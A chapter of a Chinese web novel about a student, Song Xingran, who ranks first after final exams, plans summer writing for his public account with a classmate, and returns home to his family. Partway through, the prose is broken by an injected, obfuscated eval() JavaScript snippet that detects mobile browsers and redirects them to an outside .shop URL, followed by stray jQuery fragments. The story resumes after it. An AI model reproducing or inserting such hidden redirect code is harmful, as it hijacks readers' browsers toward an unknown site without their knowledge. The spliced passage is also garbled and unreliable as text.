期末考试考了三天。
第一天语文和数学。宋星燃拿到语文卷子先翻到作文——材料作文，给了三段关于"等待"的文字，自选角度。他在草稿纸上写了两个字"梧桐"，划掉，换了一个常规立意。不能再赌。数学最后一道大题是导数与不等式综合，第二问想了四分钟，换了一种展开方式，算到倒数第二步确认无误，写完刚好打铃。
第二天理综和英语。理综的化学最后一道推断题——有机合成路线，六步反应，中间产物两个。他做完以后多花了五分钟检查化学方程式配平，扣了一分因为把"浓硫酸"写成了"浓H?SO?"——不规范，认。英语作文用了三个替换词，没碰自己不确定的，完形填空全部检查了一遍，改了一道。
第三天考完最后一门，走出考场的时候操场上的塑胶跑道被晒得发软。赵磊从后面跑上来，书包带只挂了一边。
"物理最后那道电磁感应的题——我写满了。"
"写满了不一定对。"
"对了两问。第三问不太确定——但我写了洛伦兹力公式。"赵磊的语气不太确定但不是慌——是一种"至少我见过这个题型"的感觉。
宋星燃看了看他。"力学六类题型里没有电磁感应。"
"我知道。但我自己推了一下——受力分析的方法是一样的。"
宋星燃没说话。过了一会儿，他把校服外套从左边肩膀换到右边。"行。"
成绩在考完四天后公布。
年级排名贴在公告栏上。公告栏在教学楼一楼大厅，靠食堂方向的那面墙，玻璃橱窗，里面用图钉按着两张八开大的白纸——理科一张，文科一张。
宋星燃的名字在第一行。
总分702。语文123，数学150，英语142，理综287。
数学满分。年级排名第一。
他站在公告栏前面大概五秒。然后往后退了一步，让后面的人看。
苏晚柠挤到前面，手指在自己的名字上停了一下。总分612。第一次上六百。语文127是她全科最高分。
她在原地站了一会儿，没有笑，也没有发短信。
赵磊从人群后面踮脚看了一会儿，然后绕到侧面。物理68——是他高中以来第一次上六十五。总分排年级中游偏上。他抄完分数以后在公告栏玻璃上看到自己的脸——镜面反光，嘴角有一点往上。
李可站在人群外三步远的地方，手抄在校服口袋里。等前一波人散了，她走过去，在理科排名表上从下往上找到自己的名字。
化学94。年级第二。
她看完以后走到苏晚柠面前。
"总排名。第二。年级。"
然后转身往教学楼走。
七月一号，暑假第一天。
宋星燃站在宿舍楼下，脚边放着一个编织袋——衣服、课本、笔记本，全部塞在里面。编织袋是从张桂兰办公室拿的，印着"优秀班集体·2003年"，背带已经起毛了。
苏晚柠站在他旁边，背着一个双肩包。她妈在路边等她——一辆灰色的桑塔纳，苏妈从车窗里探出头，冲宋星燃笑了笑。
"暑假公众号怎么办。"苏晚柠问。
"去图书馆。"宋星燃说。"暑假多囤几篇稿子——九月开学就是高三了，到时候你复习，我复习，谁还有空现写。"
苏晚柠想了想，点头。"囤多少。"
"二十篇往上。暑假发四篇——剩下的留给高三上学期。"
"高三上学期？"
"九月到放寒假，差不多二十周——一周一篇，正好。开学以后没空写稿，趁暑假全囤出来。"
苏晚柠在心里算了算。二十篇——暑假大概四十天，两天一篇。那意味着每周至少去三次图书馆。
苏晚柠沉默了片刻。然后说："周一图书馆见。"
"行。"
苏妈按了一下喇叭。苏晚柠冲宋星燃摆了摆手，拉开车门。桑塔纳排气管冒了一阵白烟，往东拐上国道。
宋星燃拎着编织袋，走到校门口等了大概十五分钟的县城公交。车上没几个人。他坐在最后一排靠窗，把编织袋放在脚边，靠着车窗往外看。
公交经过县城主街——饺子馆已经换了新门帘，理发店门口的黑板上写着"暑期学生优惠——剪发五块"。书店橱窗里贴了新的教辅海报，"决胜高三，赢在暑假"，八个字，红底白字。
车到站的时候，他在巷口下了车。
宋家在老城区一条巷子里。
铁门打开，煤炉味和排骨香混在一起。宋妈的声音从厨房传出来——"星燃回来啦——你先去把风扇打开，热。"
"妈。什么饭。"
"排骨汤。炖了一下午了。"
宋星燃把编织袋推到墙角，弯腰换拖鞋。门边多了一双女式凉鞋——塑料底，后跟磨得一边高一边低。他看了两秒。
"我姐回来了？"
"今年暑假早——上礼拜就放了。"宋妈在厨房里喊。"她在书店打工，下午到晚上。快回来了。"
宋星燃嗯了一声，打开风扇。
客厅不大。电视机上面盖着一块碎花布，沙发上堆着叠了一半的衣服。墙上贴了三张奖状——两张红色的，一张橘色的。红色的是宋星瑶的初中，橘色的是宋星燃的小学。高中以后没有新的。
他在沙发上坐下来。电视没开。窗外的巷子里有人在修自行车——钢圈在地上滚过去的声音，叮叮当当的。
大概过了二十分钟，门锁响了。
星瑶姐推门进来，头发扎成马尾，比上次见到的时候晒黑了一点。手里拎着两本厚教材——《教育研究方法导论》《认知心理学与教学设计》。
她脱了一只凉鞋，看到沙发上的人。愣了一秒。然后把教材夹在腋下，腾出手来掐他的后脖颈。
"你考了多少。"
"七百零二。"
星瑶姐的手停了一下。然后掐得更用力了。
"数学。"
"满分。"</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626863|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
"宋——星——燃——"她松手，后退一步，从头看到脚。"你脑子是换过了吗。"
"没有。只是分数打高了——"
"打高了？"
"打准了。"宋星燃纠正。
星瑶姐又伸手掐他后脖颈，宋星燃侧身躲开了。
宋妈端着一锅排骨汤走出来，围裙上沾着葱末。她的头发用一个大号黑发夹别在脑后——歪的。
"考了多少。"她把锅放在茶几上。
"七百零二。"
宋妈把汤勺放在锅边。她盯着宋星燃看了大概三秒——然后转头冲厨房喊："老宋——把剩下的排骨都下了——"
宋爸从厨房探出头，手里还拿着锅铲。他看了宋星燃一眼。然后点了点头——"嗯。"
星瑶姐已经把风扇拧到最大档，风吹得茶几上的报纸哗啦啦地响。她翻开那本《教育研究方法导论》，一边看一边咬铅笔上的橡皮。
宋爸又端出来一盘炒土豆丝，放在茶几上。他在宋星燃旁边坐下来，拿起遥控器打开电视。新闻联播前奏刚响了一声就被宋妈按掉了——"吃饭。看什么新闻。"
饭桌上聊的是星瑶姐教育实习的事——"那个指导老师不让我自己准备教案，就让我帮她改作业。"宋妈说那是正常的，你才开始。宋爸从头到尾只说了一句话："实习钱多不多。"
没有人问宋星燃怎么考到七百零二的。对于宋星燃的成绩，宋家人从小到大，都不曾担心过，似乎这已经成了家常便饭一般的事情。
他端着碗，排骨汤的热气糊在脸上。
晚上。
宋星燃躺在自己床上。床还是小时候那张——一米二的木板床，床单是蓝色格子的，洗了太多次边角泛白。天花板上有两块水渍——左边是去年的，右边更淡一点，可能是更早的。
他打开手机。
公众号后台。关注数：1163。比考前多了将近两百——期末周没发推送，纯靠旧内容自然增长。
私信十四条。有七条是关于"原子守恒三步法"的——"按照你说的三步法去推，化学方程式真的不用背了""期末化学第一次上八十""我能转载到我们班群吗"。
他往下翻到第七条——省城实验中学的张老师又发了一条私信。
"期末考完了吗？上次你同学回了我邮件，说'试错过所以知道哪里容易错'。我一直在想这句话。教了二十年化学，从来没从学生的角度想这个问题。"
宋星燃把手机放在枕头旁边。天花板上的水渍在路灯漏进来的光里微微反光。
窗外有人在收晾的衣服——衣架碰撞的声音，轻，但清晰。
他闭上眼睛。
两个月前，开学第一天，黑板右上角写的倒计时是67天。现在，那个数字被擦掉了。但这不是结束——这是他高二最后一天写在本子上的四个字"明天考试"终于兑现的答案。
702分。年级第一。公众号一千一百六十三。
暑假开始了。